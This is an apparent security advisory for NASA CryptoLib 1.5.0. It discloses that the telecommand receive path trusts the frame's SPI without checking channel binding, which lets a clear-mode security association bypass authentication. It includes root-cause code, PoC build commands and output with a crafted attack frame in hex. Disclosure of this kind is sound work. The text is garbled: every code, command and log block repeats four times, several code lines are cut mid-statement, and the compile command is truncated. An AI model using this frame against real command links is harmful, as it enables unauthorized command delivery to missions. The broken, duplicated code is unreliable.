Description
NASA CryptoLib 1.5.0 contains an authentication downgrade vulnerability in the Telecommand (TC) receive path. The receiver selects the Security Association used for SDLS processing solely from the SPI field inside the incoming frame, but it does not verify that the selected SA is authorized for the frame's GVCID.
An unauthenticated attacker who can inject TC frames can send a frame on one configured VCID while naming the SPI of an operational clear-mode SA bound to another VCID. CryptoLib accepts the mismatched SA and processes the frame according to that SA's service type. With the default in-memory SADB, SPI 1 is operational clear mode, so the attacker-controlled payload is delivered without data-origin authentication.
Vulnerability
Root Cause
Transmit-side SA selection is channel-bound
During TC apply-security, CryptoLib obtains managed parameters from the outbound frame's GVCID and retrieves the operational SA for that GVCID:
status = sa_if->sa_get_operational_sa_from_gvcid(temp_tc_header.tfvn, temp_tc_header.scid, temp_tc_header.vcid,
*map_id, sa_ptr
status = sa_if->sa_get_operational_sa_from_gvcid(temp_tc_header.tfvn, temp_tc_header.scid, temp_tc_header.vcid,
*map_id, sa_ptr
status = sa_if->sa_get_operational_sa_from_gvcid(temp_tc_header.tfvn, temp_tc_header.scid, temp_tc_header.vcid,
*map_id, sa_ptr
status = sa_if->sa_get_operational_sa_from_gvcid(temp_tc_header.tfvn, temp_tc_header.scid, temp_tc_header.vcid,
*map_id, sa_ptr
The in-memory implementation of sa_get_operational_sa_from_gvcid() compares tfvn, scid, vcid, operational state, and optionally MAP ID before returning an SA.
Receive-side SA selection trusts attacker-controlled SPI
During TC process-security, CryptoLib parses the incoming primary header, looks up managed parameters for the received GVCID, then parses the SPI:
tc_sdls_processed_frame->tc_sec_header.spi = ((uint8_t)ingest[byte_idx] << 8) | (uint8_t)ingest[byte_idx + 1
tc_sdls_processed_frame->tc_sec_header.spi = ((uint8_t)ingest[byte_idx] << 8) | (uint8_t)ingest[byte_idx + 1
tc_sdls_processed_frame->tc_sec_header.spi = ((uint8_t)ingest[byte_idx] << 8) | (uint8_t)ingest[byte_idx + 1
tc_sdls_processed_frame->tc_sec_header.spi = ((uint8_t)ingest[byte_idx] << 8) | (uint8_t)ingest[byte_idx + 1
The sanity validation then retrieves the SA by SPI:
status = sa_if->sa_get_from_spi(tc_sdls_processed_frame->tc_sec_header.spi, sa_ptr);
status = crypto_tc_validate_sa(*sa_ptr
status = sa_if->sa_get_from_spi(tc_sdls_processed_frame->tc_sec_header.spi, sa_ptr);
status = crypto_tc_validate_sa(*sa_ptr
status = sa_if->sa_get_from_spi(tc_sdls_processed_frame->tc_sec_header.spi, sa_ptr);
status = crypto_tc_validate_sa(*sa_ptr
status = sa_if->sa_get_from_spi(tc_sdls_processed_frame->tc_sec_header.spi, sa_ptr);
status = crypto_tc_validate_sa(*sa_ptr
The SPI field is part of the attacker-supplied frame. At this point the frame's GVCID is known, but it is not compared with the selected SA's gvcid_blk.
SA validation omits GVCID binding
crypto_tc_validate_sa() checks that the selected SA is the expected table entry and that it is operational, but it does not validate channel binding:
if (validate_sa_index(sa) != 0) {
return CRYPTO_LIB_ERR_SPI_INDEX_MISMATCH;
}
if (sa->sa_state != SA_OPERATIONAL && crypto_config_tc.ignore_sa_state == TC_IGNORE_SA_STATE_FALSE) {
return CRYPTO_LIB_ERR_SA_NOT_OPERATIONAL
if (validate_sa_index(sa) != 0) {
return CRYPTO_LIB_ERR_SPI_INDEX_MISMATCH;
}
if (sa->sa_state != SA_OPERATIONAL && crypto_config_tc.ignore_sa_state == TC_IGNORE_SA_STATE_FALSE) {
return CRYPTO_LIB_ERR_SA_NOT_OPERATIONAL
if (validate_sa_index(sa) != 0) {
return CRYPTO_LIB_ERR_SPI_INDEX_MISMATCH;
}
if (sa->sa_state != SA_OPERATIONAL && crypto_config_tc.ignore_sa_state == TC_IGNORE_SA_STATE_FALSE) {
return CRYPTO_LIB_ERR_SA_NOT_OPERATIONAL
if (validate_sa_index(sa) != 0) {
return CRYPTO_LIB_ERR_SPI_INDEX_MISMATCH;
}
if (sa->sa_state != SA_OPERATIONAL && crypto_config_tc.ignore_sa_state == TC_IGNORE_SA_STATE_FALSE) {
return CRYPTO_LIB_ERR_SA_NOT_OPERATIONAL
There is no check equivalent to:
sa->gvcid_blk.tfvn == tc_header.tfvn
sa->gvcid_blk.scid == tc_header.scid
sa->gvcid_blk.vcid == tc_header.vcid
sa->gvcid_blk.tfvn == tc_header.tfvn
sa->gvcid_blk.scid == tc_header.scid
sa->gvcid_blk.vcid == tc_header.vcid
sa->gvcid_blk.tfvn == tc_header.tfvn
sa->gvcid_blk.scid == tc_header.scid
sa->gvcid_blk.vcid == tc_header.vcid
sa->gvcid_blk.tfvn == tc_header.tfvn
sa->gvcid_blk.scid == tc_header.scid
sa->gvcid_blk.vcid == tc_header.vcid
Default SPI 1 is operational clear mode
The shipped in-memory SA table sets SPI 1 to operational and clear mode:
sa[1].spi = 1;
sa[1].sa_state = SA_OPERATIONAL;
sa[1].est = 0;
sa[1].ast = 0;
sa[1].gvcid_blk.vcid = 0
sa[1].spi = 1;
sa[1].sa_state = SA_OPERATIONAL;
sa[1].est = 0;
sa[1].ast = 0;
sa[1].gvcid_blk.vcid = 0
sa[1].spi = 1;
sa[1].sa_state = SA_OPERATIONAL;
sa[1].est = 0;
sa[1].ast = 0;
sa[1].gvcid_blk.vcid = 0
sa[1].spi = 1;
sa[1].sa_state = SA_OPERATIONAL;
sa[1].est = 0;
sa[1].ast = 0;
sa[1].gvcid_blk.vcid = 0
Since est=0 and ast=0 map to SA_PLAINTEXT, the receiver copies the incoming payload into the processed TC PDU without cryptographic validation.
Impact
An attacker who can inject TC frames into a system using CryptoLib can cause the receiver to process a frame under an SA that is not authorized for the frame's channel.
In the demonstrated configuration, the impact is complete bypass of SDLS data-origin authentication for the targeted TC frame:
The frame is received on VCID 1.
The frame names SPI 1, which is bound to VCID 0.
SPI 1 is operational clear mode.
CryptoLib returns CRYPTO_LIB_SUCCESS.
The attacker-controlled cleartext PDU is delivered to the caller.
Potential impact depends on how the integrating system routes processed TC PDUs. For command-bearing channels, this can allow unauthorized command delivery, integrity bypass, and mission-control workflow compromise. The impact is reduced if deployments remove all clear-mode or weaker operational SAs, enforce channel/SPI binding before calling CryptoLib, or block attackers from injecting frames into the TC receive path.
PoC
Preconditions
NASA CryptoLib 1.5.0 / local commit d1efa20.
Build with internal key, internal SA, internal monitoring/control, and Libgcrypt.
TC managed parameters include both the SA's bound VCID and the attack target VCID.
A clear-mode or weaker operational SA exists for a different GVCID. The default in-memory SADB provides SPI 1 for VCID 0.
The attacker can deliver a crafted TC transfer frame to Crypto_TC_ProcessSecurity().
Step 1 - Build or compile CryptoLib
The original project build uses CMake. In this review environment, cmake was unavailable, so the PoC was compiled directly:
mkdir -p build-poc
cc -g -O0 -Wall -Wextra -Wno-error -Wno-unused-parameter -Wno-self-assign \
-Wno-sign-compare -Wno-unused-variable -DMC_LOG_PATH='"build-poc/mc.log"' \
-I CryptoLib/include \
-I/opt/homebrew/opt/libgcrypt/include \
-I/opt/homebrew/opt/libgpg-error/include \
CryptoLib/src/core/*.c \
CryptoLib/src/crypto/libgcrypt/cryptography_interface_libgcrypt.template.c \
CryptoLib/src/crypto/custom_stub/cryptography_interface_custom_stub.template.c \
CryptoLib/src/crypto/kmc_stub/cryptography_interface_kmc.stub.c \
CryptoLib/src/crypto/wolfssl_stub/cryptography_interface_wolfssl.stub.c \
CryptoLib/src/key/internal/key_interface_internal.template.c \
CryptoLib/src/key/custom_stub/key_interface_custom_stub.template.c \
CryptoLib/src/key/kmc_stub/key_interface_kmc_stub.template.c \
CryptoLib/src/mc/internal/mc_interface_internal.template.c \
CryptoLib/src/mc/custom_stub/mc_interface_custom_stub.template.c \
CryptoLib/src/mc/disabled_stub/mc_interface_disabled_stub.template.c \
CryptoLib/src/sa/internal/sa_interface_inmemory.template.c \
CryptoLib/src/sa/custom_stub/sa_interface_custom.stub.c \
CryptoLib/src/sa/mariadb_stub/sa_interface_mariadb.stub.c \
poc_gvcid_spi_bypass.c \
-L/opt/homebrew/opt/libgcrypt/lib \
-L/opt/homebrew/opt/libgpg-error/lib \
-lgcrypt -lgpg-error \
-o
mkdir -p build-poc
cc -g -O0 -Wall -Wextra -Wno-error -Wno-unused-parameter -Wno-self-assign \
-Wno-sign-compare -Wno-unused-variable -DMC_LOG_PATH='"build-poc/mc.log"' \
-I CryptoLib/include \
-I/opt/homebrew/opt/libgcrypt/include \
-I/opt/homebrew/opt/libgpg-error/include \
CryptoLib/src/core/*.c \
CryptoLib/src/crypto/libgcrypt/cryptography_interface_libgcrypt.template.c \
CryptoLib/src/crypto/custom_stub/cryptography_interface_custom_stub.template.c \
CryptoLib/src/crypto/kmc_stub/cryptography_interface_kmc.stub.c \
CryptoLib/src/crypto/wolfssl_stub/cryptography_interface_wolfssl.stub.c \
CryptoLib/src/key/internal/key_interface_internal.template.c \
CryptoLib/src/key/custom_stub/key_interface_custom_stub.template.c \
CryptoLib/src/key/kmc_stub/key_interface_kmc_stub.template.c \
CryptoLib/src/mc/internal/mc_interface_internal.template.c \
CryptoLib/src/mc/custom_stub/mc_interface_custom_stub.template.c \
CryptoLib/src/mc/disabled_stub/mc_interface_disabled_stub.template.c \
CryptoLib/src/sa/internal/sa_interface_inmemory.template.c \
CryptoLib/src/sa/custom_stub/sa_interface_custom.stub.c \
CryptoLib/src/sa/mariadb_stub/sa_interface_mariadb.stub.c \
poc_gvcid_spi_bypass.c \
-L/opt/homebrew/opt/libgcrypt/lib \
-L/opt/homebrew/opt/libgpg-error/lib \
-lgcrypt -lgpg-error \
-o
mkdir -p build-poc
cc -g -O0 -Wall -Wextra -Wno-error -Wno-unused-parameter -Wno-self-assign \
-Wno-sign-compare -Wno-unused-variable -DMC_LOG_PATH='"build-poc/mc.log"' \
-I CryptoLib/include \
-I/opt/homebrew/opt/libgcrypt/include \
-I/opt/homebrew/opt/libgpg-error/include \
CryptoLib/src/core/*.c \
CryptoLib/src/crypto/libgcrypt/cryptography_interface_libgcrypt.template.c \
CryptoLib/src/crypto/custom_stub/cryptography_interface_custom_stub.template.c \
CryptoLib/src/crypto/kmc_stub/cryptography_interface_kmc.stub.c \
CryptoLib/src/crypto/wolfssl_stub/cryptography_interface_wolfssl.stub.c \
CryptoLib/src/key/internal/key_interface_internal.template.c \
CryptoLib/src/key/custom_stub/key_interface_custom_stub.template.c \
CryptoLib/src/key/kmc_stub/key_interface_kmc_stub.template.c \
CryptoLib/src/mc/internal/mc_interface_internal.template.c \
CryptoLib/src/mc/custom_stub/mc_interface_custom_stub.template.c \
CryptoLib/src/mc/disabled_stub/mc_interface_disabled_stub.template.c \
CryptoLib/src/sa/internal/sa_interface_inmemory.template.c \
CryptoLib/src/sa/custom_stub/sa_interface_custom.stub.c \
CryptoLib/src/sa/mariadb_stub/sa_interface_mariadb.stub.c \
poc_gvcid_spi_bypass.c \
-L/opt/homebrew/opt/libgcrypt/lib \
-L/opt/homebrew/opt/libgpg-error/lib \
-lgcrypt -lgpg-error \
-o
mkdir -p build-poc
cc -g -O0 -Wall -Wextra -Wno-error -Wno-unused-parameter -Wno-self-assign \
-Wno-sign-compare -Wno-unused-variable -DMC_LOG_PATH='"build-poc/mc.log"' \
-I CryptoLib/include \
-I/opt/homebrew/opt/libgcrypt/include \
-I/opt/homebrew/opt/libgpg-error/include \
CryptoLib/src/core/*.c \
CryptoLib/src/crypto/libgcrypt/cryptography_interface_libgcrypt.template.c \
CryptoLib/src/crypto/custom_stub/cryptography_interface_custom_stub.template.c \
CryptoLib/src/crypto/kmc_stub/cryptography_interface_kmc.stub.c \
CryptoLib/src/crypto/wolfssl_stub/cryptography_interface_wolfssl.stub.c \
CryptoLib/src/key/internal/key_interface_internal.template.c \
CryptoLib/src/key/custom_stub/key_interface_custom_stub.template.c \
CryptoLib/src/key/kmc_stub/key_interface_kmc_stub.template.c \
CryptoLib/src/mc/internal/mc_interface_internal.template.c \
CryptoLib/src/mc/custom_stub/mc_interface_custom_stub.template.c \
CryptoLib/src/mc/disabled_stub/mc_interface_disabled_stub.template.c \
CryptoLib/src/sa/internal/sa_interface_inmemory.template.c \
CryptoLib/src/sa/custom_stub/sa_interface_custom.stub.c \
CryptoLib/src/sa/mariadb_stub/sa_interface_mariadb.stub.c \
poc_gvcid_spi_bypass.c \
-L/opt/homebrew/opt/libgcrypt/lib \
-L/opt/homebrew/opt/libgpg-error/lib \
-lgcrypt -lgpg-error \
-o
Step 2 - Run the PoC
Expected vulnerable result:
[sa] SPI=1 state=3 est=0 ast=0 bound_vcid=0 shivf_len=12
[atk] frame=2003041a00000001000000000000000000000000deadbeef50574e
[recv] Crypto_TC_ProcessSecurity=0
[recv] frame_vcid=1 selected_spi=1 sa1_bound_vcid=0 pdu_len=7 pdu=deadbeef50574e
[sa] SPI=1 state=3 est=0 ast=0 bound_vcid=0 shivf_len=12
[atk] frame=2003041a00000001000000000000000000000000deadbeef50574e
[recv] Crypto_TC_ProcessSecurity=0
[recv] frame_vcid=1 selected_spi=1 sa1_bound_vcid=0 pdu_len=7 pdu=deadbeef50574e
[sa] SPI=1 state=3 est=0 ast=0 bound_vcid=0 shivf_len=12
[atk] frame=2003041a00000001000000000000000000000000deadbeef50574e
[recv] Crypto_TC_ProcessSecurity=0
[recv] frame_vcid=1 selected_spi=1 sa1_bound_vcid=0 pdu_len=7 pdu=deadbeef50574e
[sa] SPI=1 state=3 est=0 ast=0 bound_vcid=0 shivf_len=12
[atk] frame=2003041a00000001000000000000000000000000deadbeef50574e
[recv] Crypto_TC_ProcessSecurity=0
[recv] frame_vcid=1 selected_spi=1 sa1_bound_vcid=0 pdu_len=7 pdu=deadbeef50574e
The frame uses VCID 1 in the primary header and SPI 1 in the security header. The selected SA is bound to VCID 0, but CryptoLib accepts it and delivers the payload.
Evidence of Exploitation

Our security policy
We have reserved the ID CVE-2026-79954 to refer to this issue from now on.
Disclosure policy
System Information
NASA CryptoLib
Version: 1.5.0
Commit: d1efa20
Operating System: Linux, Windows, or macOS
References
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Romel Marín, an independent security researcher.